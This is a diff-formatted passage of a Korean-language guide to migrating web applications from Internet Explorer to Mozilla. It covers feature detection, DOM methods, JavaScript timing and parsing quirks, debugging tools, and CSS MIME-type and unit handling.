+else if (ie4)
+  elm = document.all["myID"]
+</pre>
+<p>위의 코드는 확장성이 없기 때문에 새로운 브라우저를 지원하고 싶으면 웹 어플리케이션 전체에 있는 이러한 블록들을 수정해야만 한다.</p>
+<p>새로운 브라우저 추가를 위해 코딩을 다시하는 것을 막을 수 있는 가장 쉬운방법은 기능성을 추상화하는 것이다. 여러개의 if() else() 블록 보다는 공통적인 기능을 취하여 그 기능만으로 추상화시킴으로써 효율성을 증가시킬 수 있다. 이것은 코드의 가독성을 높일 뿐만 아니라, 새로운 클라이언트에 대한 지원을 추가하는 것을 단순화 시킨다.</p>
+<pre>var elm = getElmById("myID");
+
+function getElmById(aID){
+  var element = null;
+
+  if (isMozilla || isIE5)
+    element = document.getElementById(aID);
+  else if (isNetscape4)
+    element = document.layers[aID];
+  else if (isIE4)
+    element = document.all[aID];
+
+  return element;
+}
+</pre>
+<p>위의 코드는 아직 브라우저 스니핑 혹은 사용자가 어느 브라우저를 사용하고 있는가의 문제를 안고 있다. 브라우저 스니핑은 보통 다음과 같은 useragent를 통하여 행해 진다:</p>
+<pre>Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031016
+</pre>
+<p>useragent로 브라우저를 스니핑하는 것이 사용중인 브라우저에 대한 세부 정보를 제공하기는 하지만, useragents를 다루는 코드는 종종 새로운 브라우저 버전이 출시될때 실수를 일으킬 수 있으며 그래서 코드를 바꿔야 할 수도 있다.</p>
+<p>브라우저의 타입에 상관없다면 (웹 어플리케이션 접근에 대해 지원되지 않는 브라우저는 이미 차단했다고 가정할때), 브라우저가 가진 기능이나 오브젝트 특성 지원으로부터 스니핑하는 것이 훨씬 더 좋고 더욱 신뢰성이 있다. 이것은 보통 자바스크립트에서 필요한 기능이 존재하는지를 검사해보는 것으로 행해진다. 예를들면 다음보다는:</p>
+<pre>if (isMozilla || isIE5)
+</pre>
+<p>이것을 사용하는 것이다:</p>
+<pre>if (document.getElementById)
+</pre>
+<p>이는 Opera와 Safari같이 W3C 표준 메소드를 지원하는 다른 브라우저들이 아무런 수정을 하지 않고도 작동할 수 있게 한다.</p>
+<p>그러나 useragent 스니핑은 브라우저가 웹 어플리케이션의 버전 요구사항을 만족시키는지를 검사할때나 버그와 관련한 작업과 같이 정확도가 중요할때 의미가 있다.</p>
+<p>자바스크립트는 인라인 조건문도 허용하는데 이것은 코드 가독성을 증가시킨다:</p>
+<pre>var foo = (condition) ? conditionIsTrue : conditionIsFalse;
+</pre>
+<p>예를 들면, 엘리먼트를 얻기 위해 다음을 사용한다:</p>
+<pre>
+function getElement(aID){
+  return (document.getElementById) ? document.getElementById(aID)
+                                   : document.all[aID];
+}
+</pre>
+<p>혹은 || 연산자를 사용한 다른 방법도 있다.</p>
+<pre>function getElement(aID){
+  return (document.getElementById(aID)) || document.all[aID]);
+}
+</pre>
+<h3 id="Mozilla.EC.99.80_IE_.EA.B0.84.EC.9D.98_.EC.B0.A8.EC.9D.B4.EC.A0.90" name="Mozilla.EC.99.80_IE_.EA.B0.84.EC.9D.98_.EC.B0.A8.EC.9D.B4.EC.A0.90">Mozilla와 IE 간의 차이점</h3>
+<p>우선 Mozilla와 IE간의 HTML이 동작하는 방법에서의 차이점 부터 알아보겠다.</p>
+<h4 id=".ED.88.B4.ED.8C.81" name=".ED.88.B4.ED.8C.81">툴팁</h4>
+<p>구형 브라우저들은 링크상에 툴팁을 보여주거나 툴팁의 내용으로 <code>alt</code> 속성 값을 사용함으로써 툴팁을 도입했다. 최근의 W3C HTML 스펙은 <code>title</code> 속성을 만들었는데 이것은 링크의 세부 설명을 포함할 수 있다. 오늘 날의 브라우저들은 툴팁을 보여주기 위해 <code>title</code> 속성을 사용할 것이다. 그리고 Mozilla는 <code>title</code> 속성으로 툴팁을 보여주는 것만을 지원하며 <code>alt</code> 속성은 지원하지 않는다.</p>
+<h4 id=".EC.97.94.ED.8B.B0.ED.8B.B0" name=".EC.97.94.ED.8B.B0.ED.8B.B0">엔티티</h4>
+<p>HTML 마크업은 몇몇 엔티티를 포함할 수 있는데, 이 엔티티는 W3C 웹 표준 본문에 정의되어 있다. 엔티티는 숫자형이나 캐릭터 레퍼런스로 참조될 수 있다. 예를 들면, 공백 문자 #160은 <code>&amp;#160;</code> 또는 동등한 캐릭터 레퍼런스인 <code>&amp;nbsp;</code>로 참조될 수 있다.</p>
+<p>IE와 같은 몇몇 오래된 브라우저들은 보통의 텍스트 컨텐츠의 끝에서 <code>;</code>(세미콜론)을 생략하여 엔티티를 사용하는 것을 가능하게 하는 쿼크들을 가지고 있었다.</p>
+<pre>&amp;nbsp Foo
+&amp;nbsp&amp;nbsp Foo
+</pre>
+<p>IE는 비록 W3C 스펙에 어긋나기는 하지만 위의 <code>&amp;nbsp</code>를 공백으로 렌더링한다. 브라우저는 만약 바로 직후에 다른 문자가 오면 <code>&amp;nbsp</code>를 파싱하지 않는다. 예를들면,</p>
+<pre>&amp;nbsp12345
+</pre>
+<p>이 코드는 Mozilla에서는 동작하지 않는다. 왜냐하면 W3C 웹표준에 어긋나기 때문이다. 브라우저간의 불일치를 피하려면 항상 정확한 형식(<code>&amp;nbsp;</code>)을 사용하라.</p>
+<h3 id="DOM_.EC.B0.A8.EC.9D.B4" name="DOM_.EC.B0.A8.EC.9D.B4">DOM 차이</h3>
+<p>Document Object Model (DOM)은 문서 엘리먼트를 포함하고 있는 트리구조이다. W3C가 표준화한 자바스크립트 API로 이것을 조작할 수 있다. 그러나, W3C 표준화 이전에 넷스케이프 4와 IE 4는 유사하게 API를 구현했다. Mozilla는 W3C 웹표준으로 이룰 수 없는 경우에만 구식 API를 구현했다.</p>
+<h4 id=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8_.EC.A0.91.EA.B7.BC" name=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8_.EC.A0.91.EA.B7.BC">엘리먼트 접근</h4>
+<p>크로스 브라우저 접근법을 사용해서 엘리먼트 레퍼런스를 탐색하기 위해서는 <code>document.getElementById(aID)</code>를 사용하는데, 이것은 IE 5.0+, Mozilla기반 브라우저, 그리고 다른 W3C 적용 브라우저들에서 작동하며 DOM Level 1 스펙의 일부이다.</p>
+<p>Mozilla는 document.elementName이라던지 엘리먼트의 name을 통해서 접근하는 방법을 지원하지 않는 반면에 IE는 이를 지원한다. (<em>global namespace polluting</em>이라고도 부른다.) Mozilla는 넷스케이프 4의 <code>document.layers</code> 메소드나 IE의 <code>document.all</code> 메소드도 지원하지 않는다. <code>document.getElementById</code>가 하나의 엘리먼트를 찾아내는 방법인 반면에 <code>document.layers</code>나 <code>document.all</code>를 사용하면 모든 <code>&lt;div&gt;</code> 엘리먼트들과 같이 특정 태그명의 모든 문서 엘리먼트들의 리스트를 얻을 수 있다.</p>
+<p>W3C DOM Level 1 메소드는 <code>getElementsByTagName()</code>을 통해 같은 태그명을 가진 모든 엘리먼트들에 대한 레퍼런스를 얻을 수 있다. 이 메소드는 자바스크립트에서 배열로 반환되며, <code>document</code> 엘리먼트에 호출되거나, 다른 노드들에 그 하위 구조만을 탐색하게 호출할 수 있다. DOM 트리에서 모든 엘리먼트들에 대한 배열을 얻으려면 <code>getElementsByTagName("*")</code>를 사용한다.</p>
+<p>표 1에서 보는 바와 같이, DOM Level 1 메소드는 엘리먼트를 특정 위치로 옮기거나 (메뉴, 에니메이션 등을) 보이게 혹은 안보이게 하는데 공통적으로 쓰인다. 넷스케이프 4는 Mozilla가 지원하지 않는 <code>&lt;layer&gt;</code>태그를 아무곳에나 위치시킬 수 있는 HTML 엘리먼트로사용했다. Mozilla에서는 <code>&lt;div&gt;</code> 태그를 사용하여 어떠한 엘리먼트라도 위치시킬 수 있는데, 이것은 IE도 잘 사용되며 HTML 스펙에 나와있는 것이다.</p>
+<table class="standard-table">
+ <caption>
+  표 1. Methods used to access elements</caption>
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>document.getElementById( aId )</td>
+   <td>Returns a reference to the element with the specified ID.</td>
+  </tr>
+  <tr>
+   <td>document.getElementsByTagName( aTagName )</td>
+   <td>Returns an array of elements with the specified name in the document.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="DOM_.ED.83.90.EC.83.89" name="DOM_.ED.83.90.EC.83.89">DOM 탐색</h4>
+<p>Mozilla는 자바스크립트를 통하여 DOM 트리를 탐색하는 W3C DOM API를 지원한다(표 2 참조). 이 API는 문서 내에 있는 각 노드들에 대해 존재하고 아무 방향으로나 탐색하는 것이 가능하다. IE도 이 API들을 잘 지원하지만 IE는 <code>children</code> 속성처럼 DOM 트리를 탐색할 수 있는 구식 API들도 역시 지원한다.</p>
+<table class="standard-table">
+ <caption>
+  표 2. Methods used to traverse the DOM</caption>
+ <tbody>
+  <tr>
+   <th>Property/Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>childNodes</td>
+   <td>Returns an array of all child nodes of the element.</td>
+  </tr>
+  <tr>
+   <td>firstChild</td>
+   <td>Returns the first child node of the element.</td>
+  </tr>
+  <tr>
+   <td>getAttribute( aAttributeName )</td>
+   <td>Returns the value for the specified attribute.</td>
+  </tr>
+  <tr>
+   <td>hasAttribute( aAttributeName )</td>
+   <td>Returns a boolean stating if the current node has an attribute defined with the specified name.</td>
+  </tr>
+  <tr>
+   <td>hasChildNodes()</td>
+   <td>Returns a boolean stating whether the current node has any child nodes.</td>
+  </tr>
+  <tr>
+   <td>lastChild</td>
+   <td>Returns the last child node of the element.</td>
+  </tr>
+  <tr>
+   <td>nextSibling</td>
+   <td>Returns the node immediately following the current one.</td>
+  </tr>
+  <tr>
+   <td>nodeName</td>
+   <td>Returns the name of the current node as a string.</td>
+  </tr>
+  <tr>
+   <td>nodeType</td>
+   <td>Returns the type of the current node.
+    <table>
+     <tbody>
+      <tr>
+       <th>Value</th>
+       <th>Description</th>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>Element Node</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>Attribute Node</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>Text Node</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>CDATA Section Node</td>
+      </tr>
+      <tr>
+       <td>5</td>
+       <td>Entity Reference Node</td>
+      </tr>
+      <tr>
+       <td>6</td>
+       <td>Entity Node</td>
+      </tr>
+      <tr>
+       <td>7</td>
+       <td>Processing Instruction Node</td>
+      </tr>
+      <tr>
+       <td>8</td>
+       <td>Comment Node</td>
+      </tr>
+      <tr>
+       <td>9</td>
+       <td>Document Node</td>
+      </tr>
+      <tr>
+       <td>10</td>
+       <td>Document Type Node</td>
+      </tr>
+      <tr>
+       <td>11</td>
+       <td>Document Fragment Node</td>
+      </tr>
+      <tr>
+       <td>12</td>
+       <td>Notation Node</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>nodeValue</td>
+   <td>Returns the value of the current node. For nodes that contain text, such as text and comment nodes, it will return their string value. For attribute nodes, the attribute value is returned. For all other nodes, <code>null</code> is returned.</td>
+  </tr>
+  <tr>
+   <td>ownerDocument</td>
+   <td>Returns the <code>document</code> object containing the current node.</td>
+  </tr>
+  <tr>
+   <td>parentNode</td>
+   <td>Returns the parent node of the current node.</td>
+  </tr>
+  <tr>
+   <td>previousSibling</td>
+   <td>Returns the node immediately preceding the current one.</td>
+  </tr>
+  <tr>
+   <td>removeAttribute( aName )</td>
+   <td>Removes the specified attribute from the current node.</td>
+  </tr>
+  <tr>
+   <td>setAttribute( aName, aValue )</td>
+   <td>Sets the value of the specified attribute with the specified value.</td>
+  </tr>
+ </tbody>
+</table>
+<p>IE는 비표준 쿼크를 가지는데 이들 API의 많은 수가 뉴라인 같이 생성된 공백 텍스트 노드를 무시한다. Mozilla는 이를 무시하지 않는다. 그래서 가끔씩 이들 노드를 구별해 줄 필요가 있다. 모든 노드들은 노드 타입을 지정하는 nodeType 속성을 가지고 있다. 예를 들어, 엘리먼트 노드는 타입 1이고 텍스트 노드는 타입 3이며 주석 노드는 타입 8이다. 엘리먼트 노드만을 처리하기 위한 가장 좋은 방법은 모든 자식 노드들을 순환문을 돌려서 nodeType이 1인 노드들만 처리하는 것이다.</p>
+<pre>HTML:
+  &lt;div id="foo"&gt;
+    &lt;span&gt;Test&lt;/span&gt;
+  &lt;/div&gt;
+
+JavaScript:
+  var myDiv = document.getElementById("foo");
+  var myChildren = myDiv.childNodes;
+  for (var i = 0; i &lt; myChildren.length; i++) {
+    if (myChildren[i].nodeType == 1){
+      // element node
+    };
+  };
+</pre>
+<h4 id=".EC.BB.A8.ED.85.90.EC.B8.A0.EC.9D.98_.EC.83.9D.EC.84.B1.EA.B3.BC_.EC.A1.B0.EC.9E.91" name=".EC.BB.A8.ED.85.90.EC.B8.A0.EC.9D.98_.EC.83.9D.EC.84.B1.EA.B3.BC_.EC.A1.B0.EC.9E.91">컨텐츠의 생성과 조작</h4>
+<p>Mozilla는 <code>document.write</code>, <code>document.open</code>, <code>document.close</code>와 같이 DOM에 동적으로 컨텐츠를 추가하는 구형 메소드를 지원한다. Mozilla는 IE의 <code>innerHTML</code> 메소드도 지원하는데 이것은 거의 모든 노드에서 호출 가능하다. 그러나, <code>outerHTML</code>(엘리먼트 주변에 마크업을 추가하며 표준은 없다.)와 <code>innerText</code>(노드의 텍스트 값을 지정하며 Mozilla에서는 <code>textContent</code>를 사용하여 조작가능)는 지원하지 않는다.</p>
+<p>IE는 비표준이며 Mozilla에서는 지원하지 않는 몇몇 컨텐츠 조작 메소드를 가지고 있는데 여기에는 값을 추출해 내거나 텍스트를 삽입하고 <code>getAdjacentElement</code>, <code>insertAdjacentHTML</code>와 같은 노드 주변에 엘리먼트를 삽입하는 것들이 포함된다. 표3은 W3C와 Mozilla가 어떻게 컨텐츠를 조작하는지를 보여주며, 모두 어떠한 DOM 노드에서라도 사용할 수 있는 메소드들이다.</p>
+<table class="standard-table">
+ <caption>
+  표 3. Methods Mozilla uses to manipulate content</caption>
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>appendChild( aNode )</td>
+   <td>Creates a new child node. Returns a reference to the new child node.</td>
+  </tr>
+  <tr>
+   <td>cloneNode( aDeep )</td>
+   <td>Makes a copy of the node it is called on and returns the copy. If aDeep is true, it copies over the node's entire subtree.</td>
+  </tr>
+  <tr>
+   <td>createElement( aTagName )</td>
+   <td>Creates and returns a new and parentless DOM node of the type specified by aTagName.</td>
+  </tr>
+  <tr>
+   <td>createTextNode( aTextValue )</td>
+   <td>Creates and returns a new and parentless DOM textnode with the data value specified by aTextValue.</td>
+  </tr>
+  <tr>
+   <td>insertBefore( aNewNode, aChildNode )</td>
+   <td>Inserts aNewNode before aChildNode, which must be a child of the current node.</td>
+  </tr>
+  <tr>
+   <td>removeChild( aChildNode )</td>
+   <td>Removes aChildNode and returns a reference to it.</td>
+  </tr>
+  <tr>
+   <td>replaceChild( aNewNode, aChildNode )</td>
+   <td>Replaces aChildNode with aNewNode and returns a reference to the removed node.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EB.8F.84.ED.81.90.EB.A8.BC.ED.8A.B8_.ED.94.84.EB.9E.98.EA.B7.B8.EB.A8.BC.ED.8A.B8" name=".EB.8F.84.ED.81.90.EB.A8.BC.ED.8A.B8_.ED.94.84.EB.9E.98.EA.B7.B8.EB.A8.BC.ED.8A.B8">도큐먼트 프래그먼트</h4>
+<p>실행 성능상의 이유로 현재 존재하고 있는 문서의 DOM에서 작업하기 보다 메모리 상에서 도큐먼트를 생성할 수 있다. DOM Level 1 Core는 도큐먼트 프래그먼트를 도입했는데 이것은 보통의 도큐먼트 인터페이스의 부분집합을 가지는 경량의 도큐먼트이다. 예를 들어, <code>getElementById</code>는 존재하지 않지만 <code>appendChild</code>는 존재한다. 또한 현재 존재하고 있는 도큐먼트에 쉽게 도큐먼트 프래그먼트를 추가할 수 있다.</p>
+<p>Mozilla 는 <code>document.createDocumentFragment()</code>를 통하여 빈 도큐먼트 프래그먼트를 생성할 수 있다.</p>
+<p>그러나 IE에서의 도큐먼트 프래그먼트 구현은 W3C 웹표준을 따르지 않으며 단순히 보통의 도큐먼트를 리턴한다.</p>
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.B0.A8.EC.9D.B4" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.B0.A8.EC.9D.B4">자바스크립트 차이</h3>
+<p>Mozilla와 IE간의 대부분의 차이점은 보통 자바스크립트에 대한 것이다. 그러나 이러한 문제들은 DOM hook과 같이 브라우저가 자바스크립트에 대해 드러내는 API들에서는 보통 거짓이다. 두 브라우저간 코어 자바스크립트의 차이점은 거의 없다. 문제는 타이밍 관련된 이슈에서 종종 생긴다.</p>
+<h4 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.82.A0.EC.A7.9C_.EC.B0.A8.EC.9D.B4" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.82.A0.EC.A7.9C_.EC.B0.A8.EC.9D.B4">자바스크립트 날짜 차이</h4>
+<p>단하나의 <code>Date</code> 차이점은 <code>getYear</code> 메소드이다. ECMAScript 스펙(자바스크립트가 따르는 명세)에 따르면 이 메소드는 2004년에 <code>new Date().getYear()</code>를 실행시키면 "104"를 리턴한다. ECMAScript 스펙에 따르면 <code>getYear</code>는 해당년도에서 1900을 뺀 수를 리턴한다. 이것은 본래 1998년에 대해 "98"을 리턴하는 의미였다. getYear는 ECMAScript 버전3에서 deprecated되었고 <code>getFullYear()</code>로 교체되었다. IE는 Netscape 4(포함) 이전 버전과 비슷하게 1900-1999년인 경우 연도에서 1900을 뺀 값을 다른 연도는 그대로를 반환(즉, 1999년인 경우 <code>getYear()</code>는 99를 2000년인 경우 2000을 반환한다)하는 못쓰게 된 비헤비어 <code>getYear()</code>를 쓴다.</p>
+<h4 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.8B.A4.ED.96.89_.EC.B0.A8.EC.9D.B4" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.8B.A4.ED.96.89_.EC.B0.A8.EC.9D.B4">자바스크립트 실행 차이</h4>
+<p>서로다른 브라우저는 자바스크립트를 다르게 실행한다. 예를 들어, 다음 코드는 <code>script</code> 코드 실행 시점에 DOM 내에 <code>div</code> 노드가 이미 존재하고 있음을 가정한다.</p>
+<pre>...
+&lt;div id="foo"&gt;Loading...&lt;/div&gt;
+
+&lt;script&gt;
+  document.getElementById("foo").innerHTML = "Done.";
+&lt;/script&gt;
+</pre>
+<p>그러나, 이것은 보장할 수 없다. 모든 엘리먼트가 존재함을 보장하기 위해서는 <code>&lt;body&gt;</code>태그에 <code>onload</code> 이벤트 핸들러를 사용해야 한다.</p>
+<pre>&lt;body onload="doFinish();"&gt;
+
+&lt;div id="foo"&gt;Loading...&lt;/div&gt;
+
+&lt;script&gt;
+  function doFinish() {
+    var element = document.getElementById("foo");
+    element.innerHTML = "Done.";
+  }
+&lt;/script&gt;
+...
+</pre>
+<p>이러한 타이밍 관련 문제에는 하드웨어도 역시 관련된다. 느린 시스템에서는 빠른 시스템에서 감춰지는 버그들이 드러날 수 있다. 확실한 예 중의 하나는 새 윈도우를 여는 <code>window.open</code>이다.</p>
+<pre>&lt;script&gt;
+  function doOpenWindow(){
+    var myWindow = window.open("about:blank");
+    myWindow.location.href = "http://www.ibm.com";
+  }
+&lt;/script&gt;
+</pre>
+<p>위의 코드가 갖고 있는 문제는 <code>window.open</code>이 비동기라는 것이다. 이것은 윈도우가 로딩을 마칠때 까지 자바스크립트 실행을 차단해 놓지 않는다. 그러므로, 새 윈도우가 뜨기도 전에 <code>window.open</code> 라인의 다음 라인이 실행될 수가 있다. 이것은 새 창에서 <code>onload</code> 핸들러를 가지게 하고 (<code>window.opener</code>를 사용하여) 새 창을 연 윈도우로 콜백 실행을 하게 하여 해결할 수 있다.</p>
+<h4 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.EA.B0.80_.EC.83.9D.EC.84.B1.ED.95.98.EB.8A.94_HTML.EC.9D.98_.EC.B0.A8.EC.9D.B4" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.EA.B0.80_.EC.83.9D.EC.84.B1.ED.95.98.EB.8A.94_HTML.EC.9D.98_.EC.B0.A8.EC.9D.B4">자바스크립트가 생성하는 HTML의 차이</h4>
+<p>자바스크립트는 <code>document.write</code>를 사용하여 문자열에서 HTML을 생성해낼 수 있다. 여기에서의 주요 문제는 HTML 문서 내부에 포함된 (즉, <code>&lt;script&gt;</code> 태그 내부의) 자바 스크립트가 <code>&lt;script&gt;</code>태그를 포함한 HTML을 생성하는 경우이다. 만약 문서가 strict 렌더링 모드라면 문자열 내부의 <code>&lt;/script&gt;</code> 태그를 바깥쪽의 <code>&lt;script&gt;</code>에 대한 닫는 태그로서 파싱할 것이다. 다음 코드는 이것을 가장 잘 설명한다.</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text/javascript'&gt;alert('Hello');&lt;/script&gt;")
+&lt;/script&gt;
+</pre>
+<p>페이지가 strict 모드이므로, Mozilla의 파서는 첫번째 <code>&lt;script&gt;</code>를 보고 이에 대한 닫는 태그를 찾을때까지, 즉 첫번째 <code>&lt;/script&gt;</code>를 찾을때까지 파싱한다. 이것은 파서가 strict 모드일때 자바스크립트 (혹은 다른 언어)에 관해 모르기 때문이다. 쿼크 모드에서 파서는 파싱시 (느려짐) 자바스크립트에 대해 알고 있다. IE는 항상 쿼크 모드이다 그래서 IE는 진정한 XHTML을 지원하지 않는다. 이것을 Mozilla의 strict 모드에서 작동하게 하려면 문자열을 두부분으로 분리한다:</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text\/javascript'&gt;alert('Hello');&lt;/" + "script&gt;")
+&lt;/script&gt;
+</pre>
+<h4 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.94.94.EB.B2.84.EA.B9.85" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.94.94.EB.B2.84.EA.B9.85">자바스크립트 디버깅</h4>
+<p>Mozilla는 IE를 위해 만들어진 어플리케이션들에서 발견되는 자바스크립트 관련 문제들을 디버깅할 수 있는 몇가지 방법을 제공한다. 첫번째 툴은 그림 1에서 보는 것처럼 내장된 자바스크립트 콘솔이다. 여기에는 에러와 경고가 표시된다. Mozilla에서 <strong>도구 -&gt; Web Development -&gt; JavaScript Console</strong>를 실행하거나 파이어폭스 (Mozilla에서 나온 단독 브라우저 제품)에서는 <strong>도구 -&gt; JavaScript Console</strong>를 실행한다.</p>
+<p>그림 1. JavaScript 콘솔</p>
+<p><img alt="Javascript 콘솔" class="internal" src="/@api/deki/files/2074/=Migrationguide-jsconsole.jpg"></p>
+<p>자바스크립트 콘솔은 에러나 경고, 혹은 메시지에 대한 전체 기록 목록을 보여줄 수 있다. 그림 1의 에러 메시지는 aol.com의 95번째 라인이 is_ns70이라는 정의되지 않은 변수를 접근하려한다는 것을 알려준다. 링크를 클릭하면 Mozilla의 내부 소스보기 창이 열리고 해당 라인이 하이라이트되어 있을 것이다.</p>
+<p>콘솔에서는 자바스크립트를 실행할 수도 있다. 입력한 자바스크립트 문법을 실행하려면 그림 2처럼 입력창에 <code>1+1</code>을 치고 <strong>Evaluate</strong>를 누르면 된다.</p>
+<p>그림 2. JavaScript console evaluating</p>
+<p><img alt="JavaScript Console evaluating" class="internal" src="/@api/deki/files/2073/=Migrationguide-jsconsole-eval.jpg"></p>
+<p>Mozilla의 자바스크립트 엔진은 디버깅에 대한 내장된 지원을 하므로 자바스크립트 개발자들에게 강력한 툴을 제공할 수 있다. 그림 3에 있는 Venkman은 Mozilla에 통합된 강력한 크로스 플랫폼 자바스크립트 디버거이다. 이것은 보통 Mozilla 릴리즈에 포함된다. <strong>도구 -&gt; Web Development -&gt; JavaScript Debugger</strong>로 가면 찾을 수 있다. 파이어 폭스에서는 이 디버거가 포함되어 있지 않다. 대신에 Venkman Project Page에서 다운로드 받아 설치할 수 있다. Venkman Development Page에 있는 개발 관련 페이지에서는 튜토리얼도 찾을 수 있다.</p>
+<p>그림 3. Mozilla의 JavaScript 디버거</p>
+<p><img alt="Mozilla의 JavaScript 디버거" class="internal" src="/@api/deki/files/2076/=Migrationguide-venkman.jpg"></p>
+<p>자바스크립트 디버거는 Mozilla 브라우저 창에서 실행중인 자바스크립트를 디버깅할 수 있다. 이것은 breakpoint관리, call stack inspection 혹은 variable/object inspection과 같은 표준 디버깅 기능들을 지원한다. 모든 기능들은 사용자 인터페이스를 통하거나 디버거의 대화 콘솔을 통하여 접근할 수 있다. 콘솔을 사용하면 현재 디버깅하는 자바스크립트와 같은 스코프에서 임시적인 자바스크립트를 실행시킬 수 있다.</p>
+<h3 id="CSS_.EC.B0.A8.EC.9D.B4" name="CSS_.EC.B0.A8.EC.9D.B4">CSS 차이</h3>
+<p>Mozilla 기반의 제품군은 IE를 비롯한 다른 브라우저에 비해 CSS1, CSS2.1 및 CSS3 일부를 포함한 CSS를 강력하게 지원한다.</p>
+<p>아래에 설명하는 대부분의 문제들에 대해, Mozilla는 자바스크립트 콘솔에 에러나 경고 메시지를 표시할 것이다. 만약 CSS 관련 문제에 직면하게 되면 자바스크립트 콘솔을 확인하라.</p>
+<h4 id="Mimetypes_.28CSS_.ED.8C.8C.EC.9D.BC.EC.9D.B4_.EC.A0.81.EC.9A.A9.EB.90.98.EC.A7.80_.EC.95.8A.EC.9D.84.EC.8B.9C.29" name="Mimetypes_.28CSS_.ED.8C.8C.EC.9D.BC.EC.9D.B4_.EC.A0.81.EC.9A.A9.EB.90.98.EC.A7.80_.EC.95.8A.EC.9D.84.EC.8B.9C.29">Mimetypes (CSS 파일이 적용되지 않을시)</h4>
+<p>가장 일반적인 CSS관련 문제는 참조된 CSS 파일 내부에 있는 CSS 정의가 적용되지 않는 것이다. 이것은 보통 서버가 CSS 파일에 대한 틀린 마임타입을 보낼 때 생기는 문제이다. CSS 스펙을 보면 CSS 파일은 반드시 text/css 마임타입으로 취급되게 되어 있다. Mozilla는 웹페이지가 strict 표준 모드일때 이러한 마임타입을 찾을 것이며 이러한 마임타입 일때만 CSS파일을 로드한다. IE는 어떠한 마임타입이라도 상관없이 항상 CSS파일을 로드한다. 웹페이지는 strict doctype으로 시작될때 strict 표준모드로 여겨진다. 이 문제를 해결하기 위해서는 서버가 올바른 마임타입을 보내게 하거나 doctype을 제거한다. doctype에 관한 자세한 내용은 다음 섹션에서 살펴보도록 하겠다.</p>
+<h4 id="CSS.EC.99.80_.EB.8B.A8.EC.9C.84" name="CSS.EC.99.80_.EB.8B.A8.EC.9C.84">CSS와 단위</h4>
+<p>많은 웹어플리케이션들이 CSS에서 단위를 사용하지 않는데, 특히 자바스크립트로 CSS를 설정할때가 그렇다. Mozilla는 페이지가 strict 모드가 아닌한 이를 참고 넘어간다. IE는 진정한 XHTML을 지원하지 않기 때문에 단위가 표시되지 않아도 상관하지 않는다. 만약 페이지가 strict 표준모드인데 단위가 쓰이지 않았다면 Mozilla는 해당 스타일을 무시한다:</p>
+<pre class="eval">&lt;DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+  "<span class="nowiki">http://www.w3.org/TR/html4/strict.dtd</span>"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+   &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
+   &lt;title&gt;CSS and units example&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    // works in strict mode
+    &lt;div style="width: 40<span class="boldcode">px</span>; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+
+    // will fail in strict mode
+    &lt;div style="width: 40; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>위 예제는 strict dcotype을 가지므로 본 페이지는 strict 표준 모드로 렌더링된다. 첫번째 div는 단위가 쓰였기 때문에 40px의 너비를 갖는다. 그러나 두번째 div는 너비값이 지정 안되어 기본값인 100%의 너비를 갖게된다. 이것은 자바스크립트를 통해 설정되었을때도 마찬가지다.</p>
+<h4 id="JavaScript_.EC.99.80_CSS" name="JavaScript_.EC.99.80_CSS">JavaScript 와 CSS</h4>
+<p>Mozilla는 CSS표준을 지원하므로, 자바스크립트로 CSS를 지정할때 CSS DOM 표준도 역시 지원한다. 임의의 엘리먼트의 <code>style</code> 멤버를 통해 엘리먼트의 CSS 룰에 접근하거나 삭제, 변경할 수 있다:</p>
+<pre>&lt;div id="myDiv" style="border: 1px solid black;"&gt;
+  Text
+&lt;/div&gt;
+
+&lt;script&gt;
+  var myElm = document.getElementById("myDiv");
+  myElm.style.width = "40px";
+&lt;/script&gt;
+</pre>
